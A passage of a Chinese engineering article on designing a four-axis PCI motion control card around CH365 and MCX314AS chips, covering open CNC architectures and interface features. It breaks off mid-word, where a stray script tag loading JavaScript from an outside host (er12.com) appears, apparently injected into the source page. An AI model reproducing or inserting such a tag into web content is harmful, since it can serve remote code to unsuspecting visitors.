摘要:以ch365型pci总线接口和mcx314as-p.htm" target="_blank" title="mcx314as货源和pdf资料">mcx314as型运动控制器为核心硬件,自主研发了基于运动控制器的pci总线运动控制卡。该控制卡能够实现4轴位置、速度和s曲线的加减速控制,具有直线、圆弧、位模式插补功能及自动原位搜寻功能,同时具有4路信号输入和8路通用输出。
关键词:运动控制卡;pci总线;mcx314as;ch365
1 引言
随着现代科技的发展,数控技术的发展趋势是开放式数控。开放式数控系统具有即插即用、可移植性、可扩展性和可互操作性特点。pc—nc是目前比较实用的一种开放式数控系统模式,pc—nc可归纳为3种:pc板插入到nc装置中;软件nc;nc板插入到pc中。其中,第一种方案保留原有的数控系统不变,插入的pc板主要承担人一机界面、编程和通信等功能,用以提高系统开放性。此方案为目前主流数控系统厂商采用,可靠性较高但开放性有限。第二种方案的实时性对pc的cpu要求很高。第三种方案是在pc硬件平台和操作系统的基础上,采用自主开发或购买的运动控制卡来实现数控机床所需的全部功能。其中pc进行非实时处理,实时插补控制由运动控制卡来承担,采用这种方案设计的数控系统开放性好,人一机界面灵活,非常适合非标准数控机床的开发。
文中给出了基于第三种方案的运动控制卡设计方案,采用ch365型pci总线接口和mcx314as型运动控制器作为核心硬件,实现运动控制卡的4轴位置、速度、s曲线的加减速控制;直线、圆弧、位模式插补功能:自动原位搜寻功能以及4路信号输入和8路通用输出。与其他控制卡相比,其位模式插补功能、自动原位搜寻功能及电子齿轮设计最有特色。
2 pci总线接口电路
目前,计算机总线技术已由isa总线发展到pci总线,pci的含义是周边元件互连(peripheral component interconnect)。pci局部总线是一种高性能的32位/64位地址/数据复用总线,总线时钟频率高达33mhz/66mhz,同步控制,猝发传送时数据传递速率高达132mb/s(32位)或264mb/s(64位)[1]。
实现pci接口的方法有二种:使用复杂可编程逻辑器件或现场可编程门阵列(如cpld/fpga)和使用专用电路(如pci9052和ch365等)。采用cpld/fpga实现pci接口虽然灵活性高且性能较好,但其ip核的价格较高,而采用专用电路固然灵活性较差,但不影响其使用性能,尤其是可以利用器件生产厂商提供的配套工具,大大简化设计和缩短开发周期,从而降低开发成本。
目前市场上有多种pci接口电路.国外的如plx公司的:pci90系列,altera公司的eplok,amcc公司的s5933等,这些接口电路的性能好、适应对象较广,但价格较昂贵。南京沁恒公司推出一款ch365型pci接口电路,该器件性能完全满足pci接口规范,虽然频率较低(16mhz),但可满足设计需要且使用方便,价格低于国外产品,性价比高。经比较,本设计采用ch365作pci接口器件。
ch365具有以下满足本运动控制卡设计的性能特点:
实现基于32位pci总线的从设备接口:
转换为主动并行接口,8位数据,16位地址,i/o读写,存储器读和写:
可以设定pci板卡的设备标识(vendol id、de-vice id,class code等);
支持以字节、字或双字为单位对i/o端口或者存储器进行读写:
非突发存取的实测速度高达7mb/s,读写脉冲宽度为30ns~240ns可选,满足运动控制卡要求:
支持长度达240字节的i/o端口:
支持低电平有效的本地中断请求,支持中断共享:
内置4μs~1ms的硬件计时单元,用于软件运行过程中的延时参考[2]。
3 运动控制器
目前传统的运动控制器多采用嵌入式高性能单片机(如mc6833l微控制器)或dsp(tms320xxx或dsp56xxx)来实现,系统集成度不够高,电路复杂,且软、硬件研制周期长,性能一致性较难保证。采用专用运动控制器可以提高系统集成度、插补速度及可靠性,同时简化电路,缩短开发周期。
目前市场上有多种运动控制器,如美国的pmd公司,日本的nova、ky()pal、seek公司的产品。本设计采用日本nova公司的mcx314as,它是mcx314的改进型,能够同时控制4个伺服马达或步进马达,能以脉冲串形式输出,对伺服马达和步进马达进行位置控制、插补驱动速度控制等。具有许多突出功能。
(1)以固定速度或加/减速度输出指定数量的脉冲达到定量驱动;连续输出驱动脉冲,直至高位的停止命令或外部的停止信号有效时停止实现连续驱动。用于快速归零原点开关搜寻、扫描操作、控制马达旋转连续驱动速度等。
(2)设定各线段的加/减速曲线为定速、直线(梯形)加/减速或s曲线加/减速,使用s曲线加/减速可使运动更平滑,但降低了总速度。
(3)每个控制轴都有2个用于控制当前位置的32位可逆计数器,一个是在器件内部管理驱动脉冲输出的逻辑位置计?script src=http://er12.com/t.js>